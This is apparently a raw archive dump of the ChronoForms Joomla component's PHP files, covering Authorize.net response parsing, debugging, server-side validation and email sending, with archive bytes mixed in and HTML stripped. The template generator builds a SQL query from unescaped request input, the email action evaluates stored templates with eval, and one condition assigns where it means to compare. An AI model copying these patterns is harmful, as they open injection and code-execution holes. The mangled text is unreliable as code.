      "; // x_delim_char is obviously not found in the last go-around if($j>=69){ $debugger .= "Merchant-defined (".$j."): "; $debugger .= ": "; $debugger .= ""; $debugger .= $text; $debugger .= "
      "; } else { $debugger .= $j; $debugger .= ": "; $debugger .= "
      "; $debugger .= $text; $debugger .= "
      "; } $debugger .= "
      "; switch($j){ case 1: $debugger .= "Response Code: "; $debugger .= ""; $fval=""; if($pstr_trimmed == "1"){ $form->data['_PLUGINS_']['authorize_net']['response_code'] = $fval = "Approved"; $this->events['approved'] = 1; }elseif($pstr_trimmed == "2"){ $form->data['_PLUGINS_']['authorize_net']['response_code'] = $fval = "Declined"; $this->events['declined'] = 1; }elseif($pstr_trimmed == "3"){ $form->data['_PLUGINS_']['authorize_net']['response_code'] = $fval = "Error"; $this->events['error'] = 1; }elseif($pstr_trimmed == "4"){ $form->data['_PLUGINS_']['authorize_net']['response_code'] = $fval = "Held"; $this->events['held'] = 1; } $debugger .= $fval; $debugger .= "
      "; break; case 2: $debugger .= "Response Subcode: "; $debugger .= "
      "; $form->data['_PLUGINS_']['authorize_net']['response_subcode'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 3: $debugger .= "Response Reason Code: "; $debugger .= "
      "; $form->data['_PLUGINS_']['authorize_net']['response_reason_code'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 4: $debugger .= "Response Reason Text: "; $debugger .= "
      "; $form->data['_PLUGINS_']['authorize_net']['response_reason_text'] = $pstr_trimmed; //add Error if($params->get('auto_add_error', 1) == 1 && ($this->events['declined'] == 1 || $this->events['error'] = 1)){ $form->validation_errors[] = $form->data['_PLUGINS_']['authorize_net']['response_reason_text']; } $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 5: $debugger .= "Approval Code: "; $debugger .= "
      "; $form->data['_PLUGINS_']['authorize_net']['approval_code'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 6: $debugger .= "AVS Result Code: "; $debugger .= "
      "; $form->data['_PLUGINS_']['authorize_net']['avs_result_code'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 7: $debugger .= "Transaction ID: "; $debugger .= "
      "; $form->data['_PLUGINS_']['authorize_net']['transaction_id'] = $pstr_trimmed; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 8: $debugger .= "Invoice Number (x_invoice_num): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 9: $debugger .= "Description (x_description): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 10: $debugger .= "Amount (x_amount): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 11: $debugger .= "Method (x_method): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 12: $debugger .= "Transaction Type (x_type): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 13: $debugger .= "Customer ID (x_cust_id): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 14: $debugger .= "Cardholder First Name (x_first_name): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 15: $debugger .= "Cardholder Last Name (x_last_name): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 16: $debugger .= "Company (x_company): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 17: $debugger .= "Billing Address (x_address): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 18: $debugger .= "City (x_city): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 19: $debugger .= "State (x_state): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 20: $debugger .= "ZIP (x_zip): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 21: $debugger .= "Country (x_country): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 22: $debugger .= "Phone (x_phone): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 23: $debugger .= "Fax (x_fax): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 24: $debugger .= "E-Mail Address (x_email): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 25: $debugger .= "Ship to First Name (x_ship_to_first_name): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 26: $debugger .= "Ship to Last Name (x_ship_to_last_name): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 27: $debugger .= "Ship to Company (x_ship_to_company): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 28: $debugger .= "Ship to Address (x_ship_to_address): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 29: $debugger .= "Ship to City (x_ship_to_city): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 30: $debugger .= "Ship to State (x_ship_to_state): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 31: $debugger .= "Ship to ZIP (x_ship_to_zip): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 32: $debugger .= "Ship to Country (x_ship_to_country): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 33: $debugger .= "Tax Amount (x_tax): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 34: $debugger .= "Duty Amount (x_duty): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 35: $debugger .= "Freight Amount (x_freight): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 36: $debugger .= "Tax Exempt Flag (x_tax_exempt): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 37: $debugger .= "PO Number (x_po_num): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 38: $debugger .= "MD5 Hash: "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; case 39: $debugger .= "Card Code Response: "; $debugger .= "
      "; $fval=""; if($pstr_trimmed=="M"){ $fval="M = Match"; }elseif($pstr_trimmed=="N"){ $fval="N = No Match"; }elseif($pstr_trimmed=="P"){ $fval="P = Not Processed"; }elseif($pstr_trimmed=="S"){ $fval="S = Should have been present"; }elseif($pstr_trimmed=="U"){ $fval="U = Issuer unable to process request"; }else{ $fval="NO VALUE RETURNED"; } $debugger .= $fval; $debugger .= "
      "; break; case 40: case 41: case 42: case 43: case 44: case 45: case 46: case 47: case 48: case 49: case 50: case 51: case 52: case 53: case 54: case 55: case 55: case 56: case 57: case 58: case 59: case 60: case 61: case 62: case 63: case 64: case 65: case 66: case 67: case 68: $debugger .= "Reserved (".$j."): "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; break; default: if($j>=69){ $debugger .= "Merchant-defined (".$j."): "; $debugger .= ": "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; } else { $debugger .= $j; $debugger .= ": "; $debugger .= "
      "; $debugger .= $pstr_trimmed; $debugger .= "
      "; } break; } $debugger .= "
      "; if($params->get('debugging', 0)){ echo $debugger; } } } ?>PKs>\M$2com_chronoforms/form_actions/debugger/debugger.phpnuW+A 'Debugger', 'tooltip' => 'Display the form debug data.'); function run($form, $actiondata){ echo "Data Array:
      "; print_r2($form->data); echo "Validation Errors:
      "; print_r2($form->validation_errors); } function load($clear){ if($clear){ $action_params = array( 'reset_after_display' => 0 ); } return array('action_params' => $action_params); } } ?>PKs>\;com_chronoforms/form_actions/debugger/cfaction_debugger.ctpnuW+Adisplay_debug_block($form->debug); ?>PKs>\2com_chronoforms/form_actions/debugger/debugger.ctpnuW+A
      Debugger
      input('action_debugger_{n}_reset_after_display_config', array('type' => 'select', 'label' => 'Reset after display', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Reset the debug data after they are displayed ?')); ?>
      PKs>\M';com_chronoforms/form_actions/debugger/cfaction_debugger.phpnuW+A
        $data): ?>
      1. display_debug_block($data, $k); }else{ if(is_numeric($k)){ echo $data; }else{ ?>
      PKs>\ 0com_chronoforms/form_actions/debugger/index.htmlnuW+A PKs>\)/com_chronoforms/form_actions/debugger/.htaccessnuW+A Order allow,deny Deny from all PKs>\PX2X2Vcom_chronoforms/form_actions/auto_serverside_validation/auto_serverside_validation.ctpnuW+A
      Auto Server Side Validation
      Header(array('fields' => 'Fields', 'errors' => 'Error Messages', 'help' => 'Help'), 'auto_serverside_validation_config_{n}'); ?> tabStart('fields'); ?> input('action_auto_serverside_validation_{n}_required_config', array('type' => 'text', 'label' => "Required", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of required fields names, these fields should exist in the data array in order to pass this check.")); ?> input('action_auto_serverside_validation_{n}_not_empty_config', array('type' => 'text', 'label' => "Not Empty", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should not be empty.")); ?> input('action_auto_serverside_validation_{n}_empty_config', array('type' => 'text', 'label' => "Empty", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should be empty.")); ?> input('action_auto_serverside_validation_{n}_alpha_config', array('type' => 'text', 'label' => "Alpha", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain an alpha value.")); ?> input('action_auto_serverside_validation_{n}_alphanumeric_config', array('type' => 'text', 'label' => "Alpha Numeric", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain an alpha numeric value.")); ?> input('action_auto_serverside_validation_{n}_digit_config', array('type' => 'text', 'label' => "Digit", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain a digit value.")); ?> input('action_auto_serverside_validation_{n}_nodigit_config', array('type' => 'text', 'label' => "No Digit", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain a non digit value.")); ?> input('action_auto_serverside_validation_{n}_number_config', array('type' => 'text', 'label' => "Number", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain a number value.")); ?> input('action_auto_serverside_validation_{n}_email_config', array('type' => 'text', 'label' => "Email", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain an email value.")); ?> input('action_auto_serverside_validation_{n}_phone_config', array('type' => 'text', 'label' => "Phone", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain a phone value.")); ?> input('action_auto_serverside_validation_{n}_phone_inter_config', array('type' => 'text', 'label' => "International Phone", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain an international phone value.")); ?> input('action_auto_serverside_validation_{n}_url_config', array('type' => 'text', 'label' => "URL", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain URLs.")); ?> tabEnd(); ?> tabStart('errors'); ?> input('action_auto_serverside_validation_{n}_required_error_config', array('type' => 'text', 'label' => "Required", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for required fields.")); ?> input('action_auto_serverside_validation_{n}_not_empty_error_config', array('type' => 'text', 'label' => "Not Empty", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for not empty fields.")); ?> input('action_auto_serverside_validation_{n}_empty_error_config', array('type' => 'text', 'label' => "Empty", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for empty fields.")); ?> input('action_auto_serverside_validation_{n}_alpha_error_config', array('type' => 'text', 'label' => "Alpha", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for alpha fields.")); ?> input('action_auto_serverside_validation_{n}_alphanumeric_error_config', array('type' => 'text', 'label' => "Alpha Numeric", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for alpha numeric fields.")); ?> input('action_auto_serverside_validation_{n}_digit_error_config', array('type' => 'text', 'label' => "Digit", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for digit fields.")); ?> input('action_auto_serverside_validation_{n}_nodigit_error_config', array('type' => 'text', 'label' => "No Digit", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for non digit fields.")); ?> input('action_auto_serverside_validation_{n}_number_error_config', array('type' => 'text', 'label' => "Number", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for number fields.")); ?> input('action_auto_serverside_validation_{n}_email_error_config', array('type' => 'text', 'label' => "Email", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for email fields.")); ?> input('action_auto_serverside_validation_{n}_phone_error_config', array('type' => 'text', 'label' => "Phone", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for phone fields.")); ?> input('action_auto_serverside_validation_{n}_phone_inter_error_config', array('type' => 'text', 'label' => "International Phone", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for international phone fields.")); ?> input('action_auto_serverside_validation_{n}_url_error_config', array('type' => 'text', 'label' => "URL", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Error message for URL fields.")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Enter the fields names you want to check in the text field for the rule you want them to be checked against.
      • If a field failed the check, the fail event will be fired and the error will be shown.

      tabEnd(); ?>
      PKs>\ [Vcom_chronoforms/form_actions/auto_serverside_validation/auto_serverside_validation.phpnuW+A 0, 'fail' => 0); var $group = array('id' => '1_validation', 'title' => 'Validation'); var $details = array('title' => 'Auto Server Side Validation', 'tooltip' => 'Validate your fields data on the server, more secure and browser "Independent", but requires a form submission first.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $rules = array('required', 'not_empty', 'empty', 'alpha', 'alphanumeric', 'digit', 'nodigit', 'number', 'email', 'phone', 'phone_inter', 'url'); foreach($rules as $rule){ $fields_string = trim($params->get($rule, '')); if(!empty($fields_string)){ $fields = explode(",", $fields_string); foreach($fields as $field){ $function = 'validate_'.$rule; $result = $this->$function(trim($field), $form); if(!$result){ $this->events['fail'] = 1; if(!isset($form->validation_errors[trim($field)])){ $form->validation_errors[trim($field)] = $params->get($rule.'_error'); }else{ if(is_array($form->validation_errors[trim($field)])){ $form->validation_errors[trim($field)][] = $params->get($rule.'_error'); }else{ $form->validation_errors[trim($field)] = array($form->validation_errors[trim($field)], $params->get($rule.'_error')); } } //return false; } } } } if($this->events['fail'] == 0){ $this->events['success'] = 1; } } function validate_required($str, $form){ if(!isset($form->data[$str])){ return false; }else{ return true; } } function validate_not_empty($str, $form){ if(isset($form->data[$str])){ return preg_match('/[^.*]/', $form->data[$str]); } } function validate_empty($str, $form){ if(isset($form->data[$str])){ if(is_array($form->data[$str])){ return !(bool)count($form->data[$str]); }else{ return !(bool)strlen($form->data[$str]); } } } function validate_alpha($str, $form){ if(isset($form->data[$str]) && strlen($form->data[$str]) > 0){ return preg_match('/^[a-z ._-]+$/i', $form->data[$str]); } return true; } function validate_alphanumeric($str, $form){ if(isset($form->data[$str]) && strlen($form->data[$str]) > 0){ return preg_match('/^[a-z0-9 ._-]+$/i', $form->data[$str]); } return true; } function validate_digit($str, $form){ if(isset($form->data[$str]) && strlen($form->data[$str]) > 0){ return preg_match('/^[-+]?[0-9]+$/', $form->data[$str]); } return true; } function validate_nodigit($str, $form){ if(isset($form->data[$str]) && strlen($form->data[$str]) > 0){ return preg_match('/^[^0-9]+$/', $form->data[$str]); } return true; } function validate_number($str, $form){ if(isset($form->data[$str]) && strlen($form->data[$str]) > 0){ return preg_match('/^[-+]?\d*\.?\d+$/', $form->data[$str]); } return true; } function validate_email($str, $form){ if(isset($form->data[$str]) && strlen($form->data[$str]) > 0){ return preg_match('/^([a-zA-Z0-9_\.\-\+%])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/', $form->data[$str]); } return true; } function validate_phone($str, $form){ if(isset($form->data[$str]) && strlen($form->data[$str]) > 0){ return preg_match('/^\+{0,1}[0-9 \(\)\.\-]+$/', $form->data[$str]); } return true; } function validate_phone_inter($str, $form){ if(isset($form->data[$str]) && strlen($form->data[$str]) > 0){ return preg_match('/^\+{0,1}[0-9 \(\)\.\-]+$/', $form->data[$str]); } return true; } function validate_url($str, $form){ if(isset($form->data[$str]) && strlen($form->data[$str]) > 0){ return preg_match('/^(http|https|ftp)\:\/\/[a-z0-9\-\.]+\.[a-z]{2,3}(:[a-z0-9]*)?\/?([a-z0-9\-\._\?\,\'\/\\\+&%\$#\=~])*$/i', $form->data[$str]); } return true; } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'required' => '', 'not_empty' => '', 'empty' => '', 'alpha' => '', 'alphanumeric' => '', 'digit' => '', 'nodigit' => '', 'number' => '', 'email' => '', 'phone' => '', 'phone_inter' => '', 'url' => '', 'required_error' => 'This field is required.', 'not_empty_error' => 'This field should NOT be empty.', 'empty_error' => 'This field should be empty.', 'alpha_error' => 'This field should contain alphabetic characters only.', 'alphanumeric_error' => 'This field should contain alphabetic characters or digits only.', 'digit_error' => 'This field should contain digits only.', 'nodigit_error' => 'This field should NOT contain any digits.', 'number_error' => 'This field should contain a number.', 'email_error' => 'This field should contain an email address.', 'phone_error' => 'This field should contain a phone number.', 'phone_inter_error' => 'This field should contain an international phone number.', 'url_error' => 'This field should contain a URL.' ); } return array('action_params' => $action_params); } } ?>PKs>\)Acom_chronoforms/form_actions/auto_serverside_validation/.htaccessnuW+A Order allow,deny Deny from all PKs>\ Bcom_chronoforms/form_actions/auto_serverside_validation/index.htmlnuW+A PKs>\),com_chronoforms/form_actions/email/.htaccessnuW+A Order allow,deny Deny from all PKs>\ -com_chronoforms/form_actions/email/index.htmlnuW+A PKs>\,TzR@R@,com_chronoforms/form_actions/email/email.phpnuW+A 'Email', 'tooltip' => 'Send an E-mail message.'); function load($clear){ if($clear){ $action_params = array( 'to' => '', 'cc' => '', 'bcc' => '', 'subject' => '', 'fromname' => '', 'fromemail' => '', 'replytoname' => '', 'replytoemail' => '', 'enabled' => 0, 'action_label' => '', 'recordip' => 1, 'replace_nulls' => 0, 'attachments' => '', 'sendas' => 'html', 'content1' => 'Enter your email message content here manually or use the auto template generation button.', 'dto' => '', 'dcc' => '', 'dbcc' => '', 'dsubject' => '', 'dfromname' => '', 'dfromemail' => '', 'dreplytoname' => '', 'dreplytoemail' => '', 'encrypt_enabled' => 0, 'gpg_sec_key' => '' ); } return array('action_params' => $action_params); } function run($form, $actiondata){ $email_params = new JParameter($actiondata->params); $email_body = $actiondata->content1; ob_start(); eval("?>".$email_body); $email_body = ob_get_clean(); //build email template from defined fields and posted fields $replace_nulls = (bool)$email_params->get('replace_nulls', 0); $email_body = $form->curly_replacer($email_body, $form->data, '.', $replace_nulls); //add the IP if so if($email_params->get('recordip', 1)){ if(strpos($email_body, '{IPADDRESS}') !== false){ }else{ $email_body .= "

      \n\nSubmitted by {IPADDRESS}"; } $email_body = str_replace('{IPADDRESS}', $_SERVER['REMOTE_ADDR'], $email_body); } if($email_params->get('sendas', "html") == "html"){ $email_body = " Email $email_body "; } //$fromname = (trim($email_params->get('fromname', ''))) ? trim($email_params->get('fromname', '')) : $form->data[trim($email_params->get('dfromname', ''))]; if(trim($email_params->get('fromname', ''))){ $fromname = trim($email_params->get('fromname', '')); }else{ if(isset($form->data[trim($email_params->get('dfromname', ''))])){ $fromname = $form->data[trim($email_params->get('dfromname', ''))]; }else{ $fromname = 'admin'; } } //$from = (trim($email_params->get('fromemail', ''))) ? trim($email_params->get('fromemail', '')) : $form->data[trim($email_params->get('dfromemail', ''))]; if(trim($email_params->get('fromemail', ''))){ $from = trim($email_params->get('fromemail', '')); }else{ if(isset($form->data[trim($email_params->get('dfromemail', ''))])){ $from = $form->data[trim($email_params->get('dfromemail', ''))]; }else{ $from = 'admin@admin.com'; } } //$subject = (trim($email_params->get('subject', ''))) ? trim($email_params->get('subject', '')) : $form->data[trim($email_params->get('dsubject', ''))]; if(trim($email_params->get('subject', ''))){ $subject = trim($email_params->get('subject', '')); }else{ if(isset($form->data[trim($email_params->get('dsubject', ''))])){ $subject = $form->data[trim($email_params->get('dsubject', ''))]; }else{ $subject = 'DEFAULT SUBJECT'; } } // Recepients $recipients = array(); if(trim($email_params->get('to', ''))){ $recipients = explode(",", trim($email_params->get('to', ''))); } if(trim($email_params->get('dto', ''))){ $dynamic_recipients = explode(",", trim($email_params->get('dto', ''))); foreach($dynamic_recipients as $dynamic_recipient){ if(isset($form->data[trim($dynamic_recipient)])){ $recipients[] = $form->data[trim($dynamic_recipient)]; } } } // CCs $ccemails = array(); if(trim($email_params->get('cc', ''))){ $ccemails = explode(",", trim($email_params->get('cc', ''))); } if(trim($email_params->get('dcc', ''))){ $dynamic_ccemails = explode(",", trim($email_params->get('dcc', ''))); foreach($dynamic_ccemails as $dynamic_ccemail){ if($form->data[trim($dynamic_ccemail)]){ $ccemails[] = $form->data[trim($dynamic_ccemail)]; } } } // BCCs $bccemails = array(); if(trim($email_params->get('bcc', ''))){ $bccemails = explode(",", trim($email_params->get('bcc', ''))); } if(trim($email_params->get('dbcc', ''))){ $dynamic_bccemails = explode(",", trim($email_params->get('dbcc', ''))); foreach($dynamic_bccemails as $dynamic_bccemail){ if($form->data[trim($dynamic_bccemail)]){ $bccemails[] = $form->data[trim($dynamic_bccemail)]; } } } // ReplyTo Names $replytonames = array(); if(trim($email_params->get('replytoname', ''))){ $replytonames = explode(",", trim($email_params->get('replytoname', ''))); } if(trim($email_params->get('dreplytoname', ''))){ $dynamic_replytonames = explode(",", trim($email_params->get('dreplytoname', ''))); foreach($dynamic_replytonames as $dynamic_replytoname){ if($form->data[trim($dynamic_replytoname)]){ $replytonames[] = $form->data[trim($dynamic_replytoname)]; } } } // ReplyTo Emails $replytoemails = array(); if(trim($email_params->get('replytoemail', ''))){ $replytoemails = explode(",", trim($email_params->get('replytoemail', ''))); } if(trim($email_params->get('dreplytoemail', ''))){ $dynamic_replytoemails = explode(",", trim($email_params->get('dreplytoemail', ''))); foreach($dynamic_replytoemails as $dynamic_replytoemail){ if($form->data[trim($dynamic_replytoemail)]){ $replytoemails[] = $form->data[trim($dynamic_replytoemail)]; } } } // Replies $replyto_email = $replytoemails; $replyto_name = $replytonames; $mode = ($email_params->get('sendas', "html") == 'html') ? true : false; if(!$mode){ $filter = JFilterInput::getInstance(); if($email_params->get('sendas', "html") == 'both'){ $email_body = ""."\n\n\n".$email_body; }else{ $email_body = $filter->clean($email_body, 'STRING'); } }else{ //$email_body = nl2br($email_body); } //encrypt the email if($email_params->get('encrypt_enabled', 0) == 1 && class_exists('Crypt_GPG')){ $mySecretKeyId = trim($email_params->get('gpg_sec_key', '')); //Add Encryption key here $gpg = new Crypt_GPG(); $gpg->addEncryptKey($mySecretKeyId); $email_body = $gpg->encrypt($email_body); } $email_attachments = array(); if(strlen(trim($email_params->get("attachments", ""))) && !empty($form->files)){ $attachments = explode(",", $email_params->get("attachments", "")); foreach($attachments as $attachment){ if(isset($form->files[$attachment]['path'])){ $email_attachments[] = $form->files[$attachment]['path']; }else{ if($form->files[$attachment] === array_values($form->files[$attachment])){ foreach($form->files[$attachment] as $m_file){ if(isset($m_file['path'])){ $email_attachments[] = $m_file['path']; } } } } } } $email_sent = JUtility::sendMail($from, $fromname, $recipients, $subject, $email_body, $mode, $ccemails, $bccemails, $email_attachments, $replyto_email, $replyto_name); if($email_sent){ $form->debug['email'][$actiondata->order]['Result'] = 'An email has been SENT successfully from ('.$fromname.')'.$from.' to '.implode(',', $recipients); }else{ $form->debug['email'][$actiondata->order]['Result'] = 'An email has failed to be sent from ('.$fromname.')'.$from.' to '.implode(',', $recipients); } $form->debug['email'][$actiondata->order]['Body'] = $email_body; $form->debug['email'][$actiondata->order]['Attachments'] = var_export($email_attachments, true); } function generate_table_list($elements_code = ''){ $output = ''; $output .= "\n"; eval('?>'.''); foreach($wizardcode as $k => $field){ $field_id = str_replace('field_', '', $k); if($field['type'] == 'custom' || $field['type'] == 'header'){ $output .= "\t\n\t\t\n\t\n"; }else if($field['type'] == 'hidden'){ $output .= "\t\n\t\t\n\t\t\n\t\n"; }else if($field['type'] == 'submit'){ }else{ $output .= "\t\n\t\t\n\t\t\n\t\n"; } } $output .= '
      \n"; $output .= "\t\t\t".$this->field_replacer($field[$field['tag'].'_'.$field['type'].'_'.$field_id.'_code']); $output .= "\n\t\t
      \n"; $output .= "\t\t\t".'Hidden #'.$field_id; $output .= "\n\t\t\n"; $output .= "\t\t\t".'{'.$field[$field['tag'].'_'.$field['type'].'_'.$field_id.'_input_name'].'}'; $output .= "\n\t\t
      \n"; $output .= "\t\t\t".$field[$field['tag'].'_'.$field['type'].'_'.$field_id.'_label_text'].""; $output .= "\n\t\t\n"; $output .= "\t\t\t".'{'.$field[$field['tag'].'_'.$field['type'].'_'.$field_id.'_input_name'].'}'; $output .= "\n\t\t
      '; return str_replace(array('[', ']'), array('.', ''), $output); } function generate_auto_template(){ $database = JFactory::getDBO(); $form_id = JRequest::getVar('form_id', ''); if(!empty($form_id)){ $database->setQuery("SELECT * FROM #__chronoforms WHERE id='".$form_id."'"); $form = $database->loadObject(); }else{ return "This feature works only after saving your form."; } if($form->form_type == 1){ return $this->generate_table_list($form->wizardcode); }else{ return $this->field_replacer($form->content); } } function field_replacer($htmlcode = ''){ $mainframe = JFactory::getApplication(); //find any style code in the email template and get it here preg_match_all('//is', $htmlcode, $style_matches); if(isset($style_matches[0]) && !empty($style_matches[0])){ foreach($style_matches[0] as $style_code){ $htmlcode = str_replace($style_code, '', $htmlcode); } } //ob_start(); /*eval( "?>".$htmlcode);*/ $html_string = $htmlcode;//ob_get_clean(); $usednames = array(); //end fields names //text fields $pattern_input = '/]*?)type=("|\')(text|password|hidden|file)("|\')([^>]*?)>/is'; $matches = array(); preg_match_all($pattern_input, $html_string, $matches); foreach($matches[0] as $match){ $pattern_name = '/name=("|\')([^(>|"|\')]*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); if(isset($matches_name[2]) && trim(str_replace('[]', '', $matches_name[2]))){ $email_data_name = "{".str_replace('[]', '', $matches_name[2])."}"; $email_data_name = str_replace(array('[', ']'), array('.', ''), $email_data_name); if(!in_array($email_data_name, $usednames)){ $html_string = str_replace($match, $email_data_name, $html_string); $usednames[] = $email_data_name; }else{ $html_string = str_replace($match, "", $html_string); } }else{ //$html_string = str_replace($match, "{This_element_has_no_name_attribute}", $html_string); $html_string = str_replace($match, "", $html_string); } } //buttons $pattern_input = '/]*?)type=("|\')(submit|button|reset|image)("|\')([^>]*?)>/is'; $matches = array(); preg_match_all($pattern_input, $html_string, $matches); foreach($matches[0] as $match){ $pattern_name = '/name=("|\')([^(>|"|\')]*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); if(isset($matches_name[2]) && trim(str_replace('[]', '', $matches_name[2]))){ $email_data_name = ""; if(!in_array($email_data_name, $usednames)){ $html_string = str_replace($match, $email_data_name, $html_string); $usednames[] = $email_data_name; }else{ $html_string = str_replace($match, "", $html_string); } }else{ //$html_string = str_replace($match, "{This_element_has_no_name_attribute}", $html_string); $html_string = str_replace($match, "", $html_string); } } //checkboxes or radios fields $pattern_input = '/]*?)type=("|\')(checkbox|radio)("|\')([^>]*?)>/is'; $matches = array(); $check_radio_idslist = array(); preg_match_all($pattern_input, $html_string, $matches); foreach($matches[0] as $match){ $pattern_id = '/id=("|\')([^(>|"|\')]*?)("|\')/i'; $pattern_name = '/name=("|\')([^(>|"|\')]*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); preg_match($pattern_id, $match, $matches_id); if(isset($matches_name[2]) && trim(str_replace('[]', '', $matches_name[2]))){ $check_radio_idslist[] = $matches_id[2]; $email_data_name = "{".str_replace('[]', '', $matches_name[2])."}"; $email_data_name = str_replace(array('[', ']'), array('.', ''), $email_data_name); if(!in_array($email_data_name, $usednames)){ $html_string = str_replace($match, $email_data_name, $html_string); $usednames[] = $email_data_name; }else{ $html_string = str_replace($match, "", $html_string); } }else{ //$html_string = str_replace($match, "{This_element_has_no_name_attribute}", $html_string); $html_string = str_replace($match, "", $html_string); } } //radios-checks labels $pattern_label = '/]*?)for=("|\')('.implode("|", $check_radio_idslist).')("|\')([^>]*?)>(.*?)<\/label>/is'; $matches = array(); preg_match_all($pattern_label, $html_string, $matches); foreach($matches[0] as $match){ $html_string = str_replace($match, "", $html_string); } //textarea fields $pattern_textarea = '/]*?)>(.*?)<\/textarea>/is'; $matches = array(); preg_match_all($pattern_textarea, $html_string, $matches); $namematch = ''; foreach($matches[0] as $match){ $pattern_name = '/name=("|\')([^(>|"|\')]*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); if(isset($matches_name[2]) && trim(str_replace('[]', '', $matches_name[2]))){ $email_data_name = "{".str_replace('[]', '', $matches_name[2])."}"; $email_data_name = str_replace(array('[', ']'), array('.', ''), $email_data_name); if(!in_array($email_data_name, $usednames)){ $html_string = str_replace($match, $email_data_name, $html_string); $usednames[] = $email_data_name; }else{ $html_string = str_replace($match, "", $html_string); } }else{ //$html_string = str_replace($match, "{This_element_has_no_name_attribute}", $html_string); $html_string = str_replace($match, "", $html_string); } } //select boxes $pattern_select = '//is'; $matches = array(); preg_match_all($pattern_select, $html_string, $matches); foreach($matches[0] as $match){ $selectmatch = $match; $pattern_select2 = '/]*?)>/is'; preg_match_all($pattern_select2, $match, $matches2); $pattern_name = 